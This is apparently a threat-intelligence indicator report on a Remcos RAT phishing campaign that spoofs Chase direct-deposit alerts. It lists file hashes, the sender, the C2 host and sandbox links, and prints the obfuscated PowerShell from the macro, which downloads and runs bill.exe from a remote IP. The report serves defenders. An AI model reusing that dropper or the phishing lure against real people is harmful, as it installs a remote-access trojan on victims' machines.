2021-08-25 Remcos 1 IOCs

THREAT IDENTIFICATION:  REMCOS RAT

SUBJECTS OBSERVED
Chase Alert: Incoming Direct Deposit - <Company Name>

SENDERS OBSERVED
noreplydepositsreporting@jpmchase.com

MALDOC FILE HASHES
Chase Direct Deposit.xls
89da2874a518638c7f5ec30a286f4167

POWERSHELL FROM MACROS IN THE MALDOC
$we22='(New-Obje' + 'ct Net.We'; $b4df='bCl' + 'ient).Downlo'; $c3='adFile(''http://198.23.251.110/bill.exe'',$env:temp+''\bill.exe'')';;$TC=$we22,$b4df,$c3 -Join '';IEX($TC);start-process($env:temp+ '\bill.exe')

REMCOS PAYLOAD URLS
http://198.23.251.110/bill.exe

REMCOS PAYLOAD FILE HASH
bill.exe
27ee757d743631d49dcb3c6d7c90dfbe
McAfee=N

Copied and renamed:
Zgwpegs.exe
27ee757d743631d49dcb3c6d7c90dfbe

REMCOS C2
https://nt6sqq.sn.files.1drv.com

SUPPORTING EVIDENCE
https://tria.ge/210825-gp9874yxb6
https://app.any.run/tasks/8c88acad-cb5c-467c-8955-86e23e6efd46/